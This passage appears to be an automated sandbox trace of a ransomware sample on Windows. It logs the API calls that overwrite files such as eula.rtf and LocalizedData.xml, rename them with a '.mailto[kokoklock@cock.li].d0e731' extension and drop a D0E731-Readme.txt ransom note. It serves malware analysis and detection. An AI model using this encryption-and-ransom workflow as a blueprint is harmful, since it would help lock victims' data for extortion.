_Dest="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0066.779] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.803] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0066.803] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424900) returned 1 [0066.803] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", dwFileAttributes=0x80) returned 0 [0066.803] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427000 [0066.803] wcscpy (in: _Dest=0x3427000, _Source="C:\\588bce7c90097ed212\\1028\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0066.803] wcscat (in: _Dest=0x3427000, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt" [0066.803] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1028\\d0e731-readme.txt")) returned 0xffffffff [0066.803] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1028\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0066.803] WriteFile (in: hFile=0x6d4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xcb2f7a8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xcb2f7a8*=0x481, lpOverlapped=0x0) returned 1 [0066.804] CloseHandle (hObject=0x6d4) returned 1 [0066.804] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427000) returned 1 [0066.804] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2bb8) returned 1 [0066.805] RtlExitUserThread (Status=0x1) Thread: id = 255 os_tid = 0x1274 [0063.504] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0064.514] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0066.797] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0066.797] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0xcbaf980 | out: lpFileSize=0xcbaf980*=60816) returned 1 [0066.797] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xed8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.798] ReadFile (in: hFile=0x3b4, lpBuffer=0xcbaf954, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xcbaf950, lpOverlapped=0x0 | out: lpBuffer=0xcbaf954*, lpNumberOfBytesRead=0xcbaf950*=0x4, lpOverlapped=0x0) returned 1 [0066.805] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0066.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0066.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0066.805] NtQuerySystemTime (in: CurrentTime=0xcbaf92c | out: CurrentTime=0xcbaf92c*=132121176247059031) returned 0x0 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x39756c3d [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x7e8d8982 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x69a5300e [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x626d2b88 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x3eb4b6c5 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0xae2e17e [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x90b66844 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0xcd2620d5 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0xd945defc [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0xc45c2f1e [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x478e755a [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0xf9cd9a9 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x5a87da53 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x11d9fb22 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x624a7017 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x54643f96 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0xc41f02d9 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0xf852d15e [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0xddf3eb3b [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x5b77b7d7 [0066.805] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0xa406c7c2 [0066.806] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x414f0775 [0066.806] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x166e2d3a [0066.806] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0xb7001e25 [0066.806] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x82612c97 [0066.806] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0xc5bb1046 [0066.806] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x28e7f32f [0066.806] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x1217f2a0 [0066.806] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x31e78703 [0066.806] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x7d4b76b6 [0066.806] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x18b62fe9 [0066.806] RtlRandom (in: Seed=0xcbaf938 | out: Seed=0xcbaf938) returned 0x22e5ea05 [0066.816] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.816] ReadFile (in: hFile=0x3b4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xcbaf904, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xcbaf904*=0x4096, lpOverlapped=0x0) returned 1 [0066.817] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0066.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0066.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0066.817] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0066.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0066.818] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0066.818] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0066.818] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.818] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.818] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.818] WriteFile (in: hFile=0x3b4, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xcbaf904, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xcbaf904*=0x4096, lpOverlapped=0x0) returned 1 [0066.818] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.818] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xed90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.818] WriteFile (in: hFile=0x3b4, lpBuffer=0x33f00d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xcbaf93c, lpOverlapped=0x0 | out: lpBuffer=0x33f00d0*, lpNumberOfBytesWritten=0xcbaf93c*=0x20, lpOverlapped=0x0) returned 1 [0066.818] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0066.818] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.818] WriteFile (in: hFile=0x3b4, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xcbaf950, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0xcbaf950*=0x8, lpOverlapped=0x0) returned 1 [0066.818] WriteFile (in: hFile=0x3b4, lpBuffer=0xcbaf968*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xcbaf950, lpOverlapped=0x0 | out: lpBuffer=0xcbaf968*, lpNumberOfBytesWritten=0xcbaf950*=0x4, lpOverlapped=0x0) returned 1 [0066.818] WriteFile (in: hFile=0x3b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xcbaf950, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xcbaf950*=0x4, lpOverlapped=0x0) returned 1 [0066.819] WriteFile (in: hFile=0x3b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xcbaf950, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xcbaf950*=0x6c, lpOverlapped=0x0) returned 1 [0066.819] WriteFile (in: hFile=0x3b4, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xcbaf950, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xcbaf950*=0x20, lpOverlapped=0x0) returned 1 [0066.819] WriteFile (in: hFile=0x3b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xcbaf950, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xcbaf950*=0x4, lpOverlapped=0x0) returned 1 [0066.819] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0066.819] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0066.819] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0066.819] CloseHandle (hObject=0x3b4) returned 1 [0066.822] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6870 [0066.822] wcscpy (in: _Dest=0x33e6870, _Source="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" [0066.822] wcscat (in: _Dest=0x33e6870, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0066.822] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.823] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0066.823] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6870) returned 1 [0066.823] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0066.823] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x34274e0 [0066.823] wcscpy (in: _Dest=0x34274e0, _Source="C:\\588bce7c90097ed212\\1028\\" | out: _Dest="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\" [0066.824] wcscat (in: _Dest=0x34274e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt" [0066.824] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1028\\d0e731-readme.txt")) returned 0x20 [0066.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34274e0) returned 1 [0066.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426ec8) returned 1 [0066.824] RtlExitUserThread (Status=0x1) Thread: id = 256 os_tid = 0x1278 [0063.504] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0066.397] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf", dwFileAttributes=0x20) returned 1 [0066.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77c [0066.780] GetFileSizeEx (in: hFile=0x77c, lpFileSize=0xcc2f7a8 | out: lpFileSize=0xcc2f7a8*=3419) returned 1 [0066.780] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0xd57, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.780] ReadFile (in: hFile=0x77c, lpBuffer=0xcc2f77c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xcc2f778, lpOverlapped=0x0 | out: lpBuffer=0xcc2f77c*, lpNumberOfBytesRead=0xcc2f778*=0x4, lpOverlapped=0x0) returned 1 [0066.782] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.782] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0066.782] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0066.782] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4990 [0066.782] NtQuerySystemTime (in: CurrentTime=0xcc2f754 | out: CurrentTime=0xcc2f754*=132121176246765251) returned 0x0 [0066.782] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x6a2d98c4 [0066.782] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xe61c52a [0066.782] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x618f07d4 [0066.782] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x22c0b40a [0066.782] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xf5024ac7 [0066.782] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xfec8bd04 [0066.782] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x93e18e7e [0066.782] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xc5147d81 [0066.782] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xa20a1efa [0066.782] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x3d16e295 [0066.782] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x56355938 [0066.782] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x34c383a6 [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x99133d71 [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xb59602ba [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x41c093cb [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xa698f951 [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xe769a6d1 [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xb3ba98cf [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x95e6b314 [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x55ff8468 [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x2368edca [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xa8f92f6d [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x375e0645 [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x881efc3a [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x2f916296 [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x2759e06c [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x55d5fd37 [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x8dc7f2af [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0x5584bb54 [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xf29ba636 [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xe3f56528 [0066.783] RtlRandom (in: Seed=0xcc2f760 | out: Seed=0xcc2f760) returned 0xe0c3e186 [0066.794] ReadFile (in: hFile=0x77c, lpBuffer=0x3475830, nNumberOfBytesToRead=0xd5b, lpNumberOfBytesRead=0xcc2f754, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xcc2f754*=0xd5b, lpOverlapped=0x0) returned 1 [0066.794] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xcc2f71c | out: lpNewFilePointer=0x0) returned 1 [0066.794] WriteFile (in: hFile=0x77c, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xd5b, lpNumberOfBytesWritten=0xcc2f750, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xcc2f750*=0xd5b, lpOverlapped=0x0) returned 1 [0066.794] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0066.794] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0066.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0066.794] WriteFile (in: hFile=0x77c, lpBuffer=0x347b868*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xcc2f74c, lpOverlapped=0x0 | out: lpBuffer=0x347b868*, lpNumberOfBytesWritten=0xcc2f74c*=0x20, lpOverlapped=0x0) returned 1 [0066.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0066.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0066.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.794] WriteFile (in: hFile=0x77c, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xcc2f778, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xcc2f778*=0x8, lpOverlapped=0x0) returned 1 [0066.795] WriteFile (in: hFile=0x77c, lpBuffer=0xcc2f790*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xcc2f778, lpOverlapped=0x0 | out: lpBuffer=0xcc2f790*, lpNumberOfBytesWritten=0xcc2f778*=0x4, lpOverlapped=0x0) returned 1 [0066.795] WriteFile (in: hFile=0x77c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xcc2f778, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xcc2f778*=0x4, lpOverlapped=0x0) returned 1 [0066.795] WriteFile (in: hFile=0x77c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xcc2f778, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xcc2f778*=0x6c, lpOverlapped=0x0) returned 1 [0066.795] WriteFile (in: hFile=0x77c, lpBuffer=0x33e4918*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xcc2f778, lpOverlapped=0x0 | out: lpBuffer=0x33e4918*, lpNumberOfBytesWritten=0xcc2f778*=0x20, lpOverlapped=0x0) returned 1 [0066.795] WriteFile (in: hFile=0x77c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xcc2f778, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xcc2f778*=0x4, lpOverlapped=0x0) returned 1 [0066.795] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.795] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0066.795] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0066.795] CloseHandle (hObject=0x77c) returned 1 [0066.796] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x33caac0 [0066.796] wcscpy (in: _Dest=0x33caac0, _Source="C:\\588bce7c90097ed212\\1031\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf" [0066.796] wcscat (in: _Dest=0x33caac0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0066.796] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.800] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0066.800] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33caac0) returned 1 [0066.800] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf", dwFileAttributes=0x80) returned 0 [0066.800] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x34274e0 [0066.801] wcscpy (in: _Dest=0x34274e0, _Source="C:\\588bce7c90097ed212\\1031\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0066.801] wcscat (in: _Dest=0x34274e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt" [0066.801] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1031\\d0e731-readme.txt")) returned 0xffffffff [0066.801] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1031\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77c [0066.801] WriteFile (in: hFile=0x77c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xcc2f774, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xcc2f774*=0x481, lpOverlapped=0x0) returned 1 [0066.802] CloseHandle (hObject=0x77c) returned 1 [0066.802] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34274e0) returned 1 [0066.802] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341c110) returned 1 [0066.802] RtlExitUserThread (Status=0x1) Thread: id = 257 os_tid = 0x127c [0063.505] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0064.516] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0066.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b4 [0066.824] GetFileSizeEx (in: hFile=0x7b4, lpFileSize=0xccafbfc | out: lpFileSize=0xccafbfc*=82346) returned 1 [0066.824] SetFilePointerEx (in: hFile=0x7b4, liDistanceToMove=0x141a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.824] ReadFile (in: hFile=0x7b4, lpBuffer=0xccafbd0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xccafbcc, 